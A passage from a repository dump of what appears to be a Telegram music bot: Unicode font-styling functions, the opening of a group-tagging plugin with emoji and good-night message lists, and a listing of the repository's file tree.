            "T": "🇹 ",
            "U": "🇺 ",
            "V": "🇻 ",
            "W": "🇼 ",
            "X": "🇽 ",
            "Y": "🇾 ",
            "Z": "🇿 ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def square(text):
        style = {
            "a": "🄰",
            "b": "🄱",
            "c": "🄲",
            "d": "🄳",
            "e": "🄴",
            "f": "🄵",
            "g": "🄶",
            "h": "🄷",
            "i": "🄸",
            "j": "🄹",
            "k": "🄺",
            "l": "🄻",
            "m": "🄼",
            "n": "🄽",
            "o": "🄾",
            "p": "🄿",
            "q": "🅀",
            "r": "🅁",
            "s": "🅂",
            "t": "🅃",
            "u": "🅄",
            "v": "🅅",
            "w": "🅆",
            "x": "🅇",
            "y": "🅈",
            "z": "🅉",
            "A": "🄰",
            "B": "🄱",
            "C": "🄲",
            "D": "🄳",
            "E": "🄴",
            "F": "🄵",
            "G": "🄶",
            "H": "🄷",
            "I": "🄸",
            "J": "🄹",
            "K": "🄺",
            "L": "🄻",
            "M": "🄼",
            "N": "🄽",
            "O": "🄾",
            "P": "🄿",
            "Q": "🅀",
            "R": "🅁",
            "S": "🅂",
            "T": "🅃",
            "U": "🅄",
            "V": "🅅",
            "W": "🅆",
            "X": "🅇",
            "Y": "🅈",
            "Z": "🅉",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def dark_square(text):
        style = {
            "a": "🅰︎",
            "b": "🅱︎",
            "c": "🅲︎",
            "d": "🅳︎",
            "e": "🅴︎",
            "f": "🅵︎",
            "g": "🅶︎",
            "h": "🅷︎",
            "i": "🅸︎",
            "j": "🅹︎",
            "k": "🅺︎",
            "l": "🅻︎",
            "m": "🅼︎",
            "n": "🅽︎",
            "o": "🅾︎",
            "p": "🅿︎",
            "q": "🆀︎",
            "r": "🆁︎",
            "s": "🆂︎",
            "t": "🆃︎",
            "u": "🆄︎",
            "v": "🆅︎",
            "w": "🆆︎",
            "x": "🆇︎",
            "y": "🆈︎",
            "z": "🆉︎",
            "A": "🅰︎",
            "B": "🅱︎",
            "C": "🅲︎",
            "D": "🅳︎",
            "E": "🅴︎",
            "F": "🅵︎",
            "G": "🅶︎",
            "H": "🅷︎",
            "I": "🅸︎",
            "J": "🅹︎",
            "K": "🅺︎",
            "L": "🅻︎",
            "M": "🅼︎",
            "N": "🅽︎",
            "O": "🅾︎",
            "P": "🅿︎",
            "Q": "🆀︎",
            "R": "🆁︎",
            "S": "🆂︎",
            "T": "🆃︎",
            "U": "🆄︎",
            "V": "🆅︎",
            "W": "🆆︎",
            "X": "🆇︎",
            "Y": "🆈︎",
            "Z": "🆉︎",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def andalucia(text):
        style = {
            "a": "ꪖ",
            "b": "᥇",
            "c": "ᥴ",
            "d": "ᦔ",
            "e": "ꫀ",
            "f": "ᠻ",
            "g": "ᧁ",
            "h": "ꫝ",
            "i": "𝓲",
            "j": "𝓳",
            "k": "𝘬",
            "l": "ꪶ",
            "m": "ꪑ",
            "n": "ꪀ",
            "o": "ꪮ",
            "p": "ρ",
            "q": "𝘲",
            "r": "𝘳",
            "s": "𝘴",
            "t": "𝓽",
            "u": "ꪊ",
            "v": "ꪜ",
            "w": "᭙",
            "x": "᥊",
            "y": "ꪗ",
            "z": "ɀ",
            "A": "ꪖ",
            "B": "᥇",
            "C": "ᥴ",
            "D": "ᦔ",
            "E": "ꫀ",
            "F": "ᠻ",
            "G": "ᧁ",
            "H": "ꫝ",
            "I": "𝓲",
            "J": "𝓳",
            "K": "𝘬",
            "L": "ꪶ",
            "M": "ꪑ",
            "N": "ꪀ",
            "O": "ꪮ",
            "P": "ρ",
            "Q": "𝘲",
            "R": "𝘳",
            "S": "𝘴",
            "T": "𝓽",
            "U": "ꪊ",
            "V": "ꪜ",
            "W": "᭙",
            "X": "᥊",
            "Y": "ꪗ",
            "Z": "ɀ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def manga(text):
        style = {
            "a": "卂",
            "b": "乃",
            "c": "匚",
            "d": "ᗪ",
            "e": "乇",
            "f": "千",
            "g": "ᘜ",
            "h": "卄",
            "i": "|",
            "j": "フ",
            "k": "Ҝ",
            "l": "ㄥ",
            "m": "爪",
            "n": "几",
            "o": "ㄖ",
            "p": "卩",
            "q": "Ҩ",
            "r": "尺",
            "s": "丂",
            "t": "ㄒ",
            "u": "ㄩ",
            "v": "ᐯ",
            "w": "山",
            "x": "乂",
            "y": "ㄚ",
            "z": "乙",
            "A": "卂",
            "B": "乃",
            "C": "匚",
            "D": "ᗪ",
            "E": "乇",
            "F": "千",
            "G": "ᘜ",
            "H": "卄",
            "I": "|",
            "J": "フ",
            "K": "Ҝ",
            "L": "ㄥ",
            "M": "爪",
            "N": "几",
            "O": "ㄖ",
            "P": "卩",
            "Q": "Ҩ",
            "R": "尺",
            "S": "丂",
            "T": "ㄒ",
            "U": "ㄩ",
            "V": "ᐯ",
            "W": "山",
            "X": "乂",
            "Y": "ㄚ",
            "Z": "乙",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def stinky(text):
        style = {
            "a": "a̾",
            "b": "b̾",
            "c": "c̾",
            "d": "d̾",
            "e": "e̾",
            "f": "f̾",
            "g": "g̾",
            "h": "h̾",
            "i": "i̾",
            "j": "j̾",
            "k": "k̾",
            "l": "l̾",
            "m": "m̾",
            "n": "n̾",
            "o": "o̾",
            "p": "p̾",
            "q": "q̾",
            "r": "r̾",
            "s": "s̾",
            "t": "t̾",
            "u": "u̾",
            "v": "v̾",
            "w": "w̾",
            "x": "x̾",
            "y": "y̾",
            "z": "z̾",
            "A": "A̾",
            "B": "B̾",
            "C": "C̾",
            "D": "D̾",
            "E": "E̾",
            "F": "F̾",
            "G": "G̾",
            "H": "H̾",
            "I": "I̾",
            "J": "J̾",
            "K": "K̾",
            "L": "L̾",
            "M": "M̾",
            "N": "N̾",
            "O": "O̾",
            "P": "P̾",
            "Q": "Q̾",
            "R": "R̾",
            "S": "S̾",
            "T": "T̾",
            "U": "U̾",
            "V": "V̾",
            "W": "W̾",
            "X": "X̾",
            "Y": "Y̾",
            "Z": "Z̾",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def bubbles(text):
        style = {
            "a": "ḁͦ",
            "b": "b̥ͦ",
            "c": "c̥ͦ",
            "d": "d̥ͦ",
            "e": "e̥ͦ",
            "f": "f̥ͦ",
            "g": "g̥ͦ",
            "h": "h̥ͦ",
            "i": "i̥ͦ",
            "j": "j̥ͦ",
            "k": "k̥ͦ",
            "l": "l̥ͦ",
            "m": "m̥ͦ",
            "n": "n̥ͦ",
            "o": "o̥ͦ",
            "p": "p̥ͦ",
            "q": "q̥ͦ",
            "r": "r̥ͦ",
            "s": "s̥ͦ",
            "t": "t̥ͦ",
            "u": "u̥ͦ",
            "v": "v̥ͦ",
            "w": "w̥ͦ",
            "x": "x̥ͦ",
            "y": "y̥ͦ",
            "z": "z̥ͦ",
            "A": "Ḁͦ",
            "B": "B̥ͦ",
            "C": "C̥ͦ",
            "D": "D̥ͦ",
            "E": "E̥ͦ",
            "F": "F̥ͦ",
            "G": "G̥ͦ",
            "H": "H̥ͦ",
            "I": "I̥ͦ",
            "J": "J̥ͦ",
            "K": "K̥ͦ",
            "L": "L̥ͦ",
            "M": "M̥ͦ",
            "N": "N̥ͦ",
            "O": "O̥ͦ",
            "P": "P̥ͦ",
            "Q": "Q̥ͦ",
            "R": "R̥ͦ",
            "S": "S̥ͦ",
            "T": "T̥ͦ",
            "U": "U̥ͦ",
            "V": "V̥ͦ",
            "W": "W̥ͦ",
            "X": "X̥ͦ",
            "Y": "Y̥ͦ",
            "Z": "Z̥ͦ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def underline(text):
        style = {
            "a": "a͟",
            "b": "b͟",
            "c": "c͟",
            "d": "d͟",
            "e": "e͟",
            "f": "f͟",
            "g": "g͟",
            "h": "h͟",
            "i": "i͟",
            "j": "j͟",
            "k": "k͟",
            "l": "l͟",
            "m": "m͟",
            "n": "n͟",
            "o": "o͟",
            "p": "p͟",
            "q": "q͟",
            "r": "r͟",
            "s": "s͟",
            "t": "t͟",
            "u": "u͟",
            "v": "v͟",
            "w": "w͟",
            "x": "x͟",
            "y": "y͟",
            "z": "z͟",
            "A": "A͟",
            "B": "B͟",
            "C": "C͟",
            "D": "D͟",
            "E": "E͟",
            "F": "F͟",
            "G": "G͟",
            "H": "H͟",
            "I": "I͟",
            "J": "J͟",
            "K": "K͟",
            "L": "L͟",
            "M": "M͟",
            "N": "N͟",
            "O": "O͟",
            "P": "P͟",
            "Q": "Q͟",
            "R": "R͟",
            "S": "S͟",
            "T": "T͟",
            "U": "U͟",
            "V": "V͟",
            "W": "W͟",
            "X": "X͟",
            "Y": "Y͟",
            "Z": "Z͟",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def ladybug(text):
        style = {
            "a": "ꍏ",
            "b": "ꌃ",
            "c": "ꏳ",
            "d": "ꀷ",
            "e": "ꏂ",
            "f": "ꎇ",
            "g": "ꁅ",
            "h": "ꀍ",
            "i": "ꀤ",
            "j": "꒻",
            "k": "ꀘ",
            "l": "꒒",
            "m": "ꎭ",
            "n": "ꈤ",
            "o": "ꂦ",
            "p": "ᖘ",
            "q": "ꆰ",
            "r": "ꋪ",
            "s": "ꌚ",
            "t": "꓄",
            "u": "ꀎ",
            "v": "꒦",
            "w": "ꅐ",
            "x": "ꉧ",
            "y": "ꌩ",
            "z": "ꁴ",
            "A": "ꍏ",
            "B": "ꌃ",
            "C": "ꏳ",
            "D": "ꀷ",
            "E": "ꏂ",
            "F": "ꎇ",
            "G": "ꁅ",
            "H": "ꀍ",
            "I": "ꀤ",
            "J": "꒻",
            "K": "ꀘ",
            "L": "꒒",
            "M": "ꎭ",
            "N": "ꈤ",
            "O": "ꂦ",
            "P": "ᖘ",
            "Q": "ꆰ",
            "R": "ꋪ",
            "S": "ꌚ",
            "T": "꓄",
            "U": "ꀎ",
            "V": "꒦",
            "W": "ꅐ",
            "X": "ꉧ",
            "Y": "ꌩ",
            "Z": "ꁴ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def rays(text):
        style = {
            "a": "a҉",
            "b": "b҉",
            "c": "c҉",
            "d": "d҉",
            "e": "e҉",
            "f": "f҉",
            "g": "g҉",
            "h": "h҉",
            "i": "i҉",
            "j": "j҉",
            "k": "k҉",
            "l": "l҉",
            "m": "m҉",
            "n": "n҉",
            "o": "o҉",
            "p": "p҉",
            "q": "q҉",
            "r": "r҉",
            "s": "s҉",
            "t": "t҉",
            "u": "u҉",
            "v": "v҉",
            "w": "w҉",
            "x": "x҉",
            "y": "y҉",
            "z": "z҉",
            "A": "A҉",
            "B": "B҉",
            "C": "C҉",
            "D": "D҉",
            "E": "E҉",
            "F": "F҉",
            "G": "G҉",
            "H": "H҉",
            "I": "I҉",
            "J": "J҉",
            "K": "K҉",
            "L": "L҉",
            "M": "M҉",
            "N": "N҉",
            "O": "O҉",
            "P": "P҉",
            "Q": "Q҉",
            "R": "R҉",
            "S": "S҉",
            "T": "T҉",
            "U": "U҉",
            "V": "V҉",
            "W": "W҉",
            "X": "X҉",
            "Y": "Y҉",
            "Z": "Z҉",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def birds(text):
        style = {
            "a": "a҈",
            "b": "b҈",
            "c": "c҈",
            "d": "d҈",
            "e": "e҈",
            "f": "f҈",
            "g": "g҈",
            "h": "h҈",
            "i": "i҈",
            "j": "j҈",
            "k": "k҈",
            "l": "l҈",
            "m": "m҈",
            "n": "n҈",
            "o": "o҈",
            "p": "p҈",
            "q": "q҈",
            "r": "r҈",
            "s": "s҈",
            "t": "t҈",
            "u": "u҈",
            "v": "v҈",
            "w": "w҈",
            "x": "x҈",
            "y": "y҈",
            "z": "z҈",
            "A": "A҈",
            "B": "B҈",
            "C": "C҈",
            "D": "D҈",
            "E": "E҈",
            "F": "F҈",
            "G": "G҈",
            "H": "H҈",
            "I": "I҈",
            "J": "J҈",
            "K": "K҈",
            "L": "L҈",
            "M": "M҈",
            "N": "N҈",
            "O": "O҈",
            "P": "P҈",
            "Q": "Q҈",
            "R": "R҈",
            "S": "S҈",
            "T": "T҈",
            "U": "U҈",
            "V": "V҈",
            "W": "W҈",
            "X": "X҈",
            "Y": "Y҈",
            "Z": "Z҈",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def slash(text):
        style = {
            "a": "a̸",
            "b": "b̸",
            "c": "c̸",
            "d": "d̸",
            "e": "e̸",
            "f": "f̸",
            "g": "g̸",
            "h": "h̸",
            "i": "i̸",
            "j": "j̸",
            "k": "k̸",
            "l": "l̸",
            "m": "m̸",
            "n": "n̸",
            "o": "o̸",
            "p": "p̸",
            "q": "q̸",
            "r": "r̸",
            "s": "s̸",
            "t": "t̸",
            "u": "u̸",
            "v": "v̸",
            "w": "w̸",
            "x": "x̸",
            "y": "y̸",
            "z": "z̸",
            "A": "A̸",
            "B": "B̸",
            "C": "C̸",
            "D": "D̸",
            "E": "E̸",
            "F": "F̸",
            "G": "G̸",
            "H": "H̸",
            "I": "I̸",
            "J": "J̸",
            "K": "K̸",
            "L": "L̸",
            "M": "M̸",
            "N": "N̸",
            "O": "O̸",
            "P": "P̸",
            "Q": "Q̸",
            "R": "R̸",
            "S": "S̸",
            "T": "T̸",
            "U": "U̸",
            "V": "V̸",
            "W": "W̸",
            "X": "X̸",
            "Y": "Y̸",
            "Z": "Z̸",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def stop(text):
        style = {
            "a": "a⃠",
            "b": "b⃠",
            "c": "c⃠",
            "d": "d⃠",
            "e": "e⃠",
            "f": "f⃠",
            "g": "g⃠",
            "h": "h⃠",
            "i": "i⃠",
            "j": "j⃠",
            "k": "k⃠",
            "l": "l⃠",
            "m": "m⃠",
            "n": "n⃠",
            "o": "o⃠",
            "p": "p⃠",
            "q": "q⃠",
            "r": "r⃠",
            "s": "s⃠",
            "t": "t⃠",
            "u": "u⃠",
            "v": "v⃠",
            "w": "w⃠",
            "x": "x⃠",
            "y": "y⃠",
            "z": "z⃠",
            "A": "A⃠",
            "B": "B⃠",
            "C": "C⃠",
            "D": "D⃠",
            "E": "E⃠",
            "F": "F⃠",
            "G": "G⃠",
            "H": "H⃠",
            "I": "I⃠",
            "J": "J⃠",
            "K": "K⃠",
            "L": "L⃠",
            "M": "M⃠",
            "N": "N⃠",
            "O": "O⃠",
            "P": "P⃠",
            "Q": "Q⃠",
            "R": "R⃠",
            "S": "S⃠",
            "T": "T⃠",
            "U": "U⃠",
            "V": "V⃠",
            "W": "W⃠",
            "X": "X⃠",
            "Y": "Y⃠",
            "Z": "Z⃠",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def skyline(text):
        style = {
            "a": "a̺͆",
            "b": "b̺͆",
            "c": "c̺͆",
            "d": "d̺͆",
            "e": "e̺͆",
            "f": "f̺͆",
            "g": "g̺͆",
            "h": "h̺͆",
            "i": "i̺͆",
            "j": "j̺͆",
            "k": "k̺͆",
            "l": "l̺͆",
            "m": "m̺͆",
            "n": "n̺͆",
            "o": "o̺͆",
            "p": "p̺͆",
            "q": "q̺͆",
            "r": "r̺͆",
            "s": "s̺͆",
            "t": "t̺͆",
            "u": "u̺͆",
            "v": "v̺͆",
            "w": "w̺͆",
            "x": "x̺͆",
            "y": "y̺͆",
            "z": "z̺͆",
            "A": "A̺͆",
            "B": "B̺͆",
            "C": "C̺͆",
            "D": "D̺͆",
            "E": "E̺͆",
            "F": "F̺͆",
            "G": "G̺͆",
            "H": "H̺͆",
            "I": "I̺͆",
            "J": "J̺͆",
            "K": "K̺͆",
            "L": "L̺͆",
            "M": "M̺͆",
            "N": "N̺͆",
            "O": "O̺͆",
            "P": "P̺͆",
            "Q": "Q̺͆",
            "R": "R̺͆",
            "S": "S̺͆",
            "T": "T̺͆",
            "U": "U̺͆",
            "V": "V̺͆",
            "W": "W̺͆",
            "X": "X̺͆",
            "Y": "Y̺͆",
            "Z": "Z̺͆",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def arrows(text):
        style = {
            "a": "a͎",
            "b": "b͎",
            "c": "c͎",
            "d": "d͎",
            "e": "e͎",
            "f": "f͎",
            "g": "g͎",
            "h": "h͎",
            "i": "i͎",
            "j": "j͎",
            "k": "k͎",
            "l": "l͎",
            "m": "m͎",
            "n": "n͎",
            "o": "o͎",
            "p": "p͎",
            "q": "q͎",
            "r": "r͎",
            "s": "s͎",
            "t": "t͎",
            "u": "u͎",
            "v": "v͎",
            "w": "w͎",
            "x": "x͎",
            "y": "y͎",
            "z": "z͎",
            "A": "A͎",
            "B": "B͎",
            "C": "C͎",
            "D": "D͎",
            "E": "E͎",
            "F": "F͎",
            "G": "G͎",
            "H": "H͎",
            "I": "I͎",
            "J": "J͎",
            "K": "K͎",
            "L": "L͎",
            "M": "M͎",
            "N": "N͎",
            "O": "O͎",
            "P": "P͎",
            "Q": "Q͎",
            "R": "R͎",
            "S": "S͎",
            "T": "T͎",
            "U": "U͎",
            "V": "V͎",
            "W": "W͎",
            "X": "X͎",
            "Y": "Y͎",
            "Z": "Z͎",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def rvnes(text):
        style = {
            "a": "ል",
            "b": "ጌ",
            "c": "ር",
            "d": "ዕ",
            "e": "ቿ",
            "f": "ቻ",
            "g": "ኗ",
            "h": "ዘ",
            "i": "ጎ",
            "j": "ጋ",
            "k": "ጕ",
            "l": "ረ",
            "m": "ጠ",
            "n": "ክ",
            "o": "ዐ",
            "p": "የ",
            "q": "ዒ",
            "r": "ዪ",
            "s": "ነ",
            "t": "ፕ",
            "u": "ሁ",
            "v": "ሀ",
            "w": "ሠ",
            "x": "ሸ",
            "y": "ሃ",
            "z": "ጊ",
            "A": "ል",
            "B": "ጌ",
            "C": "ር",
            "D": "ዕ",
            "E": "ቿ",
            "F": "ቻ",
            "G": "ኗ",
            "H": "ዘ",
            "I": "ጎ",
            "J": "ጋ",
            "K": "ጕ",
            "L": "ረ",
            "M": "ጠ",
            "N": "ክ",
            "O": "ዐ",
            "P": "የ",
            "Q": "ዒ",
            "R": "ዪ",
            "S": "ነ",
            "T": "ፕ",
            "U": "ሁ",
            "V": "ሀ",
            "W": "ሠ",
            "X": "ሸ",
            "Y": "ሃ",
            "Z": "ጊ",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def strike(text):
        style = {
            "a": "a̶",
            "b": "b̶",
            "c": "c̶",
            "d": "d̶",
            "e": "e̶",
            "f": "f̶",
            "g": "g̶",
            "h": "h̶",
            "i": "i̶",
            "j": "j̶",
            "k": "k̶",
            "l": "l̶",
            "m": "m̶",
            "n": "n̶",
            "o": "o̶",
            "p": "p̶",
            "q": "q̶",
            "r": "r̶",
            "s": "s̶",
            "t": "t̶",
            "u": "u̶",
            "v": "v̶",
            "w": "w̶",
            "x": "x̶",
            "y": "y̶",
            "z": "z̶",
            "A": "A̶",
            "B": "B̶",
            "C": "C̶",
            "D": "D̶",
            "E": "E̶",
            "F": "F̶",
            "G": "G̶",
            "H": "H̶",
            "I": "I̶",
            "J": "J̶",
            "K": "K̶",
            "L": "L̶",
            "M": "M̶",
            "N": "N̶",
            "O": "O̶",
            "P": "P̶",
            "Q": "Q̶",
            "R": "R̶",
            "S": "S̶",
            "T": "T̶",
            "U": "U̶",
            "V": "V̶",
            "W": "W̶",
            "X": "X̶",
            "Y": "Y̶",
            "Z": "Z̶",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text

    def frozen(text):
        style = {
            "a": "a༙",
            "b": "b༙",
            "c": "c༙",
            "d": "d༙",
            "e": "e༙",
            "f": "f༙",
            "g": "g༙",
            "h": "h༙",
            "i": "i༙",
            "j": "j༙",
            "k": "k༙",
            "l": "l༙",
            "m": "m༙",
            "n": "n༙",
            "o": "o༙",
            "p": "p༙",
            "q": "q༙",
            "r": "r༙",
            "s": "s༙",
            "t": "t༙",
            "u": "u༙",
            "v": "v༙",
            "w": "w༙",
            "x": "x༙",
            "y": "y༙",
            "z": "z༙",
            "A": "A༙",
            "B": "B༙",
            "C": "C༙",
            "D": "D༙",
            "E": "E༙",
            "F": "F༙",
            "G": "G༙",
            "H": "H༙",
            "I": "I༙",
            "J": "J༙",
            "K": "K༙",
            "L": "L༙",
            "M": "M༙",
            "N": "N༙",
            "O": "O༙",
            "P": "P༙",
            "Q": "Q༙",
            "R": "R༙",
            "S": "S༙",
            "T": "T༙",
            "U": "U༙",
            "V": "V༙",
            "W": "W༙",
            "X": "X༙",
            "Y": "Y༙",
            "Z": "Z༙",
        }
        for i, j in style.items():
            text = text.replace(i, j)
        return text


================================================
FILE: BrandrdXMusic/plugins/admins/gmtag.py
================================================
from BrandrdXMusic import app 
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions

spam_chats = []

EMOJI = [ "🦋🦋🦋🦋🦋",
          "🧚🌸🧋🍬🫖",
          "🥀🌷🌹🌺💐",
          "🌸🌿💮🌱🌵",
          "❤️💚💙💜🖤",
          "💓💕💞💗💖",
          "🌸💐🌺🌹🦋",
          "🍔🦪🍛🍲🥗",
          "🍎🍓🍒🍑🌶️",
          "🧋🥤🧋🥛🍷",
          "🍬🍭🧁🎂🍡",
          "🍨🧉🍺☕🍻",
          "🥪🥧🍦🍥🍚",
          "🫖☕🍹🍷🥛",
          "☕🧃🍩🍦🍙",
          "🍁🌾💮🍂🌿",
          "🌨️🌥️⛈️🌩️🌧️",
          "🌷🏵️🌸🌺💐",
          "💮🌼🌻🍀🍁",
          "🧟🦸🦹🧙👸",
          "🧅🍠🥕🌽🥦",
          "🐷🐹🐭🐨🐻‍❄️",
          "🦋🐇🐀🐈🐈‍⬛",
          "🌼🌳🌲🌴🌵",
          "🥩🍋🍐🍈🍇",
          "🍴🍽️🔪🍶🥃",
          "🕌🏰🏩⛩️🏩",
          "🎉🎊🎈🎂🎀",
          "🪴🌵🌴🌳🌲",
          "🎄🎋🎍🎑🎎",
          "🦅🦜🕊️🦤🦢",
          "🦤🦩🦚🦃🦆",
          "🐬🦭🦈🐋🐳",
          "🐔🐟🐠🐡🦐",
          "🦩🦀🦑🐙🦪",
          "🐦🦂🕷️🕸️🐚",
          "🥪🍰🥧🍨🍨",
          " 🥬🍉🧁🧇",
        ]

TAGMES = [ " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ 🌚** ",
           " **➠ ᴄʜᴜᴘ ᴄʜᴀᴘ sᴏ ᴊᴀ 🙊** ",
           " **➠ ᴘʜᴏɴᴇ ʀᴀᴋʜ ᴋᴀʀ sᴏ ᴊᴀ, ɴᴀʜɪ ᴛᴏ ʙʜᴏᴏᴛ ᴀᴀ ᴊᴀʏᴇɢᴀ..👻** ",
           " **➠ ᴀᴡᴇᴇ ʙᴀʙᴜ sᴏɴᴀ ᴅɪɴ ᴍᴇɪɴ ᴋᴀʀ ʟᴇɴᴀ ᴀʙʜɪ sᴏ ᴊᴀᴏ..?? 🥲** ",
           " **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ᴀᴘɴᴇ ɢғ sᴇ ʙᴀᴀᴛ ᴋʀ ʀʜᴀ ʜ ʀᴀᴊᴀɪ ᴍᴇ ɢʜᴜs ᴋᴀʀ, sᴏ ɴᴀʜɪ ʀᴀʜᴀ 😜** ",
           " **➠ ᴘᴀᴘᴀ ʏᴇ ᴅᴇᴋʜᴏ ᴀᴘɴᴇ ʙᴇᴛᴇ ᴋᴏ ʀᴀᴀᴛ ʙʜᴀʀ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ʜᴀɪ 🤭** ",
           " **➠ ᴊᴀɴᴜ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ..?? 🌠** ",
           " **➠ ɢɴ sᴅ ᴛᴄ.. 🙂** ",
           " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ ᴛᴀᴋᴇ ᴄᴀʀᴇ..?? ✨** ",
           " **➠ ʀᴀᴀᴛ ʙʜᴜᴛ ʜᴏ ɢʏɪ ʜᴀɪ sᴏ ᴊᴀᴏ, ɢɴ..?? 🌌** ",
           " **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ 11 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ɴᴀʜɪ sᴏ ɴᴀʜɪ ʀʜᴀ 🕦** ",
           " **➠ ᴋᴀʟ sᴜʙʜᴀ sᴄʜᴏᴏʟ ɴᴀʜɪ ᴊᴀɴᴀ ᴋʏᴀ, ᴊᴏ ᴀʙʜɪ ᴛᴀᴋ ᴊᴀɢ ʀʜᴇ ʜᴏ 🏫** ",
           " **➠ ʙᴀʙᴜ, ɢᴏᴏᴅ ɴɪɢʜᴛ sᴅ ᴛᴄ..?? 😊** ",
           " **➠ ᴀᴀᴊ ʙʜᴜᴛ ᴛʜᴀɴᴅ ʜᴀɪ, ᴀᴀʀᴀᴍ sᴇ ᴊᴀʟᴅɪ sᴏ ᴊᴀᴛɪ ʜᴏᴏɴ 🌼** ",
           " **➠ ᴊᴀɴᴇᴍᴀɴ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🌷** ",
           " **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ sᴏɴᴇ, ɢɴ sᴅ ᴛᴄ 🏵️** ",
           " **➠ ʜᴇʟʟᴏ ᴊɪ ɴᴀᴍᴀsᴛᴇ, ɢᴏᴏᴅ ɴɪɢʜᴛ 🍃** ",
           " **➠ ʜᴇʏ, ʙᴀʙʏ ᴋᴋʀʜ..? sᴏɴᴀ ɴᴀʜɪ ʜᴀɪ ᴋʏᴀ ☃️** ",
           " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ, ʙʜᴜᴛ ʀᴀᴀᴛ ʜᴏ ɢʏɪ..? ⛄** ",
           " **➠ ᴍᴇ ᴊᴀ ʀᴀʜɪ ʀᴏɴᴇ, ɪ ᴍᴇᴀɴ sᴏɴᴇ ɢᴏᴏᴅ ɴɪɢʜᴛ ᴊɪ 😁** ",
           " **➠ ᴍᴀᴄʜʜᴀʟɪ ᴋᴏ ᴋ
Download .txt
gitextract_xah1yoyr/

├── .dockerignore
├── .github/
│   ├── README.md
│   ├── SECURITY.md
│   ├── dependabot.yml
│   └── workflows/
│       ├── codeql.yml
│       └── docker-image.yml
├── .gitignore
├── BrandrdXMusic/
│   ├── __init__.py
│   ├── __main__.py
│   ├── assets/
│   │   └── __init__.py
│   ├── core/
│   │   ├── bot.py
│   │   ├── call.py
│   │   ├── dir.py
│   │   ├── git.py
│   │   ├── mongo.py
│   │   └── userbot.py
│   ├── logging.py
│   ├── misc.py
│   ├── mongo/
│   │   ├── afkdb.py
│   │   ├── couples_db.py
│   │   ├── filtersdb.py
│   │   └── readable_time.py
│   ├── platforms/
│   │   ├── Apple.py
│   │   ├── Carbon.py
│   │   ├── Resso.py
│   │   ├── Soundcloud.py
│   │   ├── Spotify.py
│   │   ├── Telegram.py
│   │   ├── Youtube.py
│   │   ├── Youtube.txt
│   │   └── __init__.py
│   ├── plugins/
│   │   ├── __init__.py
│   │   ├── admins/
│   │   │   ├── Sangmata.py
│   │   │   ├── all_tag.py
│   │   │   ├── assistant_tag.py
│   │   │   ├── auth.py
│   │   │   ├── callback.py
│   │   │   ├── entag.py
│   │   │   ├── font.py
│   │   │   ├── gmtag.py
│   │   │   ├── hitag.py
│   │   │   ├── loop.py
│   │   │   ├── pause.py
│   │   │   ├── quiz.py
│   │   │   ├── resume.py
│   │   │   ├── seek.py
│   │   │   ├── shayari.py
│   │   │   ├── shuffle.py
│   │   │   ├── skip.py
│   │   │   ├── speed.py
│   │   │   ├── stop.py
│   │   │   ├── tagall.py
│   │   │   └── utag.py
│   │   ├── bot/
│   │   │   ├── afk.py
│   │   │   ├── help.py
│   │   │   ├── inline.py
│   │   │   ├── lyrics.py
│   │   │   ├── settings.py
│   │   │   ├── songs.py
│   │   │   └── start.py
│   │   ├── misc/
│   │   │   ├── autoleave.py
│   │   │   ├── broadcast.py
│   │   │   ├── info.py
│   │   │   ├── mongochk.py
│   │   │   ├── seeker.py
│   │   │   ├── truth_dare.py
│   │   │   └── watcher.py
│   │   ├── play/
│   │   │   ├── channel.py
│   │   │   ├── live.py
│   │   │   ├── play.py
│   │   │   ├── playlist.py
│   │   │   ├── playmode.py
│   │   │   └── radio.py
│   │   ├── sudo/
│   │   │   ├── autoend.py
│   │   │   ├── blchat.py
│   │   │   ├── block.py
│   │   │   ├── gban.py
│   │   │   ├── logger.py
│   │   │   ├── maintenance.py
│   │   │   ├── restart.py
│   │   │   └── sudoers.py
│   │   └── tools/
│   │       ├── active.py
│   │       ├── alive.py
│   │       ├── bot_left.py
│   │       ├── bots.py
│   │       ├── chatlog.py
│   │       ├── couples.py
│   │       ├── dev.py
│   │       ├── font.py
│   │       ├── google.py
│   │       ├── id.py
│   │       ├── ig.py
│   │       ├── image.py
│   │       ├── language.py
│   │       ├── left.py
│   │       ├── paste.py
│   │       ├── ping.py
│   │       ├── q.py
│   │       ├── queue.py
│   │       ├── reload.py
│   │       ├── speedtest.py
│   │       ├── stats.py
│   │       ├── telegraph.py
│   │       ├── tts.py
│   │       ├── vctools.py
│   │       ├── welcome.py
│   │       └── zowner.py
